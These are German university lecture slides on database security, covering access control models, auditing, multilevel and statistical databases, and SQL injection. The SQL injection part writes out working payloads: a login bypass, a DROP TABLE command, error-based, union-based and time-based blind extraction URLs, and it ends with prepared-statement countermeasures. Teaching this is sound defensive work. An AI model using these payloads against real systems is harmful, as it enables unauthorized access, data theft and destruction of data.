Sicherheitsaspekte

Sicherheitsaspekte
Ziele
• Vertraulichkeit/Datensicherheit:
• Kein unauthorisierten Zugriff auf Systemressourcen und Daten zulassen
• Z.B. Ein Angestellte muss das Gehalt anderen Angestellten nicht sehen.
• Integrität:
• Nur authorisierte Benutzer dürfen die Daten ändern
• Z.B. Nur Professoren dürfen Noten ändern.
• Verfügbarkeit:
• Die Daten sollen für authorisierte Benutzer immer verfügbar sein
• Z.B. Der Student muss seine Noten sehen können.
Grundbegriffe
• Zugriffskontrolle (access control) regelt: wer darf in einem System auf
welche Ressourcen wie zugreifen.
• Technische Maßnahme zum Schutz der Daten vor Missbrauch
• Sicherheitsmodelle (Security Models) legen die Mechanismen zur
Wahrung und Schutzes von Daten fest
• Subjekt: Initiator der Handlung, Benutzer
• Objekt: Ressource (Dateien, Tabelen, usw.)
• Subjekte können auch Objekte sein
• Berechtigung (permission), bzw. Zugriffsrecht (access right):
• Was genau darf gemacht werden
Sicherheitsmodelle und Architekturen
• Zwei Klassen von Sicherheitsmodellen:
• Zugriffskontrollstrategie
• Informationsfluss-Strategie
• In der Praxis findet man überwiegend Zugriffskontrollstrategien
• Zugriffskontrollstrategien lassen sich wiederum unterscheiden nach:
• Benutzerbestimmbare (Diskrete Sicherheitsmodelle/ Discretionary access control)
• Systembestimmbare (Verbindliche Sicherheitsmodelle/ Mandatory Access Control)
• Rollenbasierte Sicherheitsmodelle
1. Diskrete Sicherheitsmodelle /
Discretionary access control (DAC)
• Regeln den Zugriff auf Objekte (Tabellen und Sichten) auf der Basis der
Identität der Nutzer und Zugriffsrechten
• Zugriffsrechten legen für jeden Nutzer fest, auf welche Objekte er in
welchem Modus zugreifen darf
• Die Anzahl der Zugriffsrechte eines Benutzers ist variabel:
• Es können zusätzliche Rechte hinzukommen
• Vorhandene Rechte können zurückgenommen werden
• Durch die individuelle Vergabe von Rechten ist diese Modell sehr flexibel
1. Diskrete Sicherheitsmodelle /
Discretionary access control (DAC)
• Der Benutzer, der eine Tabelle oder ein Sicht erstellt hat, kriegt
automatisch alle Zugriffsrechte dafür
• DBMS verwaltet alle Zugriffsrechte und deren Änderungen (wenn neue
dazukommen oder vorhandene zurückgenommen werden) und
garantiert dass nur Benutzer die entsprechende Rechte besitzen Zugriff
auf einen Objekt haben
GRANT Anweisung
GRANT privileges ON object TO users [WITH GRANT OPTION]
• Mögliche Werte für privileges:
• SELECT: darf alle Spalten lesen (inklusiv Spalten die später mit ALTER TABLE
eingefügt werden)
• INSERT(col-name): darf Tupeln mit Werten, die verschieden von NULL
oder default sind, für die entsprechende Spalte
• Ohne col-name → für alle Spalten
• UPDATE(col-name): darf den Wert der entsprechenden Spalten für Tupeln
ändern (mit einem Wert, der verschieden von NULL oder default ist)
• DELETE: darf Tupeln löschen
• REFERENCES(col-name): darf in anderen Tabellen FremdschlüsselEinschränkung erstellen, die auf die betreffende Tabelle verweist
GRANT Anweisung (Forts.)
GRANT privileges ON object TO users [WITH GRANT OPTION]
• GRANT OPTION gibt an, dass der Empfänger die angegebene
Berechtigung auch anderen Benutzern erteilen kann
GRANT Anweisung - Beispiel
GRANT INSERT,SELECT ON Studenten TO Emma
• Emma darf Studenten selektieren und einfügen
GRANT DELETE ON Studenten TO Viktor WITH GRANT OPTION
• Viktor darf Tupeln aus der Tabelle Studenten löschen und kann auch
anderen Benutzer den Recht geben Tupeln zu löschen
GRANT UPDATE (Note) ON Studenten TO Jan
• Jan darf (nur) die Spalte Noten in der Tabelle Studenten ändern
GRANT und REVOKE von Berechtigungen
GRANT SELECT ON AktiveStudenten TO Jan, Anna
• Jan und Anna können Tupeln aus dem Sicht AktiveStudenten
selektieren, aber nicht direkt aus der Tabelle Studenten
• REVOKE: wenn eine Berechtigung von einem Benutzer X
aufgehoben wird, dann wird diese auch von allen Benutzern
aufgehoben, welche die Berechtigung nur von X bekommen haben
(basierend auf einem Authorization Graph: Knoten sind Benutzer,
Kanten zeigen wie die Berechtigungen erteilt wurden)
GRANT/REVOKE auf Sichten
• Wenn der Benutzer, der die Sicht erstellt hat, die SELECT Berechtigung
auf die zugrunde liegende Tabelle verliert, dann wird die Sicht
gelöscht (dropped)
• Wenn der Benutzer, der eine Sicht erstellt hat, eine Berechtigung mit
GRANT OPTION auf die zugrunde liegende Tabelle verliert, dann
verliert er die betreffende Berechtigung auch für die Sicht;
(auch die Benutzer welche die Berechtigung von ihm bekommen
haben verlieren diese Berechtigung für die Sicht)
Sicherheit - Sichten
• Sichten können benutzt werden um (Teil der) Informationen
vorzulegen, während die zugrunde liegende Tabelle Details versteckt
• z.B. In der Sicht AktiveStudenten kann man Studenten finden, die in
einer Vorlesung angemeldet sind, aber die Id’s der Vorlesung sind nicht
vorhanden
• Der Benutzer, der die Sicht erstellt, hat dieselbe Berechtigungen auf
die Sicht wie auf die zugrunde liegende Tabelle
• Sichten zusammen mit GRANT/REVOKE Anweisungen bilden ein
starkes Tool für Zugriffskontrolle
2. Verbindliche Sicherheitsmodelle /
Mandatory Access Control (MAC)
• Wurde ursprünglich für den militärischen Bereich entwickelt (clearance)
• Basierend auf system-weite Regeln, die nicht individuell für einen Benutzer
geändert werden können:
• Objekte werden sogenannten Sicherheitsklassen zugeordnet
• Es wird bestimmten Nutzerklassen Zugriff zu bestimmten Sicherheitsklassen gewährt
• Ein Nutzer dar ein Objekt lesen/schreiben, wenn die Sicherheitsklasse des Nutzers
gleich oder höher prioritisiert ist als die des Objektes
• Meisten kommerziellen DBMSs unterstützen verbindliche
Sicherheitsmodelle nicht → diese sind sehr starr und haben eine
eingeschränkte Brauchbarkeit
Bell-LaPadula Model (BLP)
• Bekanntes Beispiel für Mandatory Access Control
• Das Modell verwendet Subjekte (Benutzer, Anwendungen), Objekte (Tabellen,
Sichten, Tupeln), Zugriffsoperationen und Sicherheitsebenen
• Sicherheitsklassen:
• öffentlich/unclassified (U), vertraulich/confidential (C), geheim/secret (S), streng geheim/top
secret (TS)
U < C < S < TS
• Zwei Hauptregeln:
• Einfache Regel (simple security rule): ein Subjekt kann keine Daten auf einer höheren
Sicherheitsebene lesen (no-read-up)
• D.h. S liest O wenn Sicherheitsebene(S) ≥ Sicherheitsebene(O)
• Sternregel (security rule): Ein Subjekt kann keine Informationen auf eine niedrigere
Sicherheitsebene schreiben (no-write-down)
• D.h. S schreibt O wenn Sicherheitsebene(S) ≤ Sicherheitsebene(O)
→ Beschränkung des Informationsflusses
Motivation
• Warum den Informationsfluss beschränken?
• No-read-up Regel reicht nichr: Trojanische Pferde können höher
klassifizierte Daten einfach nach unten schreiben
• Beispiel:
• Mark erstellt eine Tabelle T und gibt Tom den INSERT Zugriffsrecht darauf
• Mark ändert eine Anwendung, die von Tom benutzt wird, sodass diese
geheime Daten in die Tabelle T schreibt
• Jetzt hat Mark Zugriff zu den geheimen Daten
• No-write-down Regel vermeidet dieses Problem
3. Rollenmodell
• In SQL-92 werden Rechte an Ids weitergegeben, die ein Benutzer
oder einer Gruppe von Benutzer bestimmt
• Seit SQL:1999 können Rollen definiert und Rechte an Rollen
weitergegeben werden
• Erleichtert die Verwaltung von Rechten beim Wechsel von Personen,
z.B. in einem Unternehmen
• Wenn eine Person mehreren Rollen hat, dann besitzt sie die
Vereinigung der Rechten aller Rollen
Auditing
• Neben der Vergabe geeigneter Zugriffsberechtigungen, eine andere
wichtige Maßnahme ist die Überwachung von Zugriffen bzw.
Änderungen
• Die notwendigen Protokollieren von Zugriffen wird als Auditing
bezeichnet
• Änderungen, die protokolliert werden müssen:
•
•
•
•
Anlegen von Nutzern
Vergabe von Rechten
Schemaänderungen
Manipulation der Daten
Multilevel-Datenbanken
• Benutzer soll sich der Existenz unzugänglicher Daten nicht bewusst
sein
Id
Produkt
Preis
Klasse
101
Gold
50000
S
• Beispiel:
102
•
•
•
•
Auto
2000
C
Benutzer mit den Sicherheitsebenen S und TS sehen beide Tupeln
Benutzer mit der Sicherheitsebene C sehen nur den zweiten Tupel
Benutzer mit der Sicherheitsebene U sehen keine Tupeln
Wenn ein Benutzer der Klasse C den Tupel <101,Schrank,200,C> einfügen will:
• Der Tupel kann wegen dem Primärschlüssel-Integritätsregel nicht eingefügt werden
• Wenn die Einfüge-Operation verweigert wird, dann weiß der Benutzer, dass es ein
geheimer Tupel gibt mit dem Id 101
Multilevel-Datenbanken (Forts.)
• Lösung: durch Polyinstanziierung
• man stellt sich vor, dass die Sicherheitsebene zu dem Primärschlüssel gehört
• Ein Id darf mehrfach mit unterschiedlichen Sicherheitseinstufungen
vorkommen
• Eindeutigkeit des Schlüssels und Referentielle Integrität müssen hier erweitert
werden
Statistische Datenbanken
• Sind Datenbanken, in denen Einzeleinträge dem Datenschutz
unterliegen, aber statistische Informationen allen Benutzern zugänglich
sind
• Statistische Informationen = aggregiert Werte, z.B. Durchschnitt
• Probleme der Zugriffsüberwachung: ein Benutzer kann indirekt Daten
über Einzeleinträge gewinnen, indem er die Kriterien derart einschränkt,
dass nur ein Einzeleintrag betrachtet wird
• Beispiel: Wenn ich weiß, dass Johann der älteste Angestellte ist, dann
kann ich fragen „Wie viele Angestellten sind älter als X?“.
• Der Wert für X kann dann inkrementiert werden bis der Antwort der Abfrage 1 ist
→ dann weiß ich wie alt Johann ist
Statistische Datenbanken (Forts.)
• Idee: es sollten keine statistische Anfrage erlaubt werden, wenn weniger
als N Tupel im Ergebnis der Selektion liegen
• Genügt diese Einschränkung? → NEIN!
• Beispiel:
• Man fragt: „Wie viele Personen sind älter als X?“
• Wenn das System die Abfrage ablehnt, dann kennt man eine Menge von N Personen
inklusiv Johann, die älter als eine X sind
• Nächste Anfrage: „Welche ist die Summe der Alter der Personen, die älter als X
sind?“ Sei das Ergebnis S1.
• Nächste Anfrage: „Welche ist die Summe der Alter der Personen außer Johann, die
älter als X sind? Sei das Ergebnis S2.
• → das Alter von Johann ist S2-S1
SQL Injection
• Bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang
mit SQL-Datenbanken, die durch mangelnde Maskierung oder
Überprüfung von Metazeichen in Benutzereingaben entsteht
• Es ist eine Subklasse der Vulnerabilitäten, wo eine
Programmiersprache oder Skriptsprache in einer anderen eingebettet
(embedded) ist
SQL Injection - Beispiel
Statement = “SELECT * FROM users WHERE name = ‘” + username + “’;”;
• Wenn die Variable username, die von dem Benutzer angegeben wird, in eine bestimmte Weise
abgeändert wird, kann die SQL-Anweisung Schaden anrichten:
username = ‘ OR ‘1’=‘1
⇒
SELECT * FROM users WHERE name = ‘’ OR ‘1’=‘1’;
• Damit loggen wir uns als Admin ein, haben alle Rechte und können anstellen was wir wollen
• Oder:
username = ‘; DROP TABLE users; SELECT * FROM userinfo WHERE ‘t’=‘t
⇒ SELECT * FROM users WHERE name = ‘’; DROP TABLE users; SELECT *
FROM userinfo WHERE ‘t’=‘t’;
• Diese Eingabe hat die users Tabelle gelöscht und alle Daten der Tabelle userinfo ausgelesen
(wenn eine API genutzt wird, die mehrere Statements erlaubt)
SQL Injection Klassifikation
• Inbound
• Derselbe Kanal wo die SQL Injection stattfindet, wird dann benutzt um Daten
zu extrahieren
• Outbound
• Daten werden auf einem unterscheidlichen Kanal extrahiert (z.B. ein Email
mit Anfrageergebnisse wird geschickt)
• Inferentiell (inferential)
• Es findet kein Datentransfer statt
• Der Angreifer kann Informationen rekronstruieren indem er bestimmte
Requests schickt und das Verhalten der Website/DB Server beobachtet
Typen von SQL Injection
• Error-basiertes
• Man schickt Anfragen die ein Fehler verursachen und man beobachtet die
Fehlerangabe → man kann Informationen über den Server ableiten
• Union-basiertes
• Man kann SQL UNION benutzen um die Ergebnisse mehrere SQL Anfragen zu
vereinigen (sehr hilfreich für SQL Injection)
• Blind:
• Man stellt true/false Fragen an den DB Server und man beobachtet ob eine
gültige Website zurückgegeben wurde oder nicht, und wie lange es gedauert
hat
Error-basiertes SQL Injection
http://[site]/page.asp?id=1 or 1=convert(int,(USER))—
• Syntax error converting the nvarcharvalue '[joe]' to a column of data
type !
• Nützlich bei SQL Injection Anfragen:
•
•
•
•
USER – Datenbankbenutzer
DB_NAME – Name der Datenbank
@@servername – Name des Servers
@@version – Version von Windows/OS
Union-basiertes SQL Injection
http://[site]/page.asp?id=1 UNION SELECT ALL 1-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-• NO ERROR
http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--
Blindes SQL Injection
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
Blindes SQL Injection - Erstes Charakter D
http://[site]/page.asp?id=1; IF (ASCII( lower( substring( (USER),1,1)))>97) WAITFOR
DELAY '00:00:10‘-• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=98) WAITFOR DELAY
'00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=99) WAITFOR DELAY
'00:00:10'—
• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=100) WAITFOR
DELAY '00:00:10'• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
SQL Injection - Gegenmaßnahmen
• Metazeichen in Benutzereingaben auszufiltern oder zu
maskieren (Escapen)
• Am sichersten: Daten vom SQL-Interpreter fernzuhalten →
gebundene Parameter in Prepared Statements verwenden
• Hierbei warden die Daten als Paramter an einen bereits
kompilierten Befehl übergegeben
• Die Daten warden somit nicht interpretiert und eine SQLInjection ist verhindert
Zusammenfassung
• Drei wichtige Ziele:
• Vertraulichkeit/Datensicherheit
• Integrität
• Verfügbarkeit
• DB Admin ist für die allgemeine Sicherheit verantwortlich
• Auditing: Überwachung von Zugriffen bzw. Änderungen
• Zugriffskontrollstrategien :
• Diskrete Sicherheitsmodelle/ Discretionary access control
• Verbindliche Sicherheitsmodelle/ Mandatory Access Control
• Rollenbasierte Sicherheitsmodelle
• Statistische Datenbanken veruschen individuelle Daten zu schützen indem nur
Aggregatanfagen erlaubt sind, aber oft können individuelle Informationen über
Tupeln abgeleitet warden
• SQL Injection vermeiden!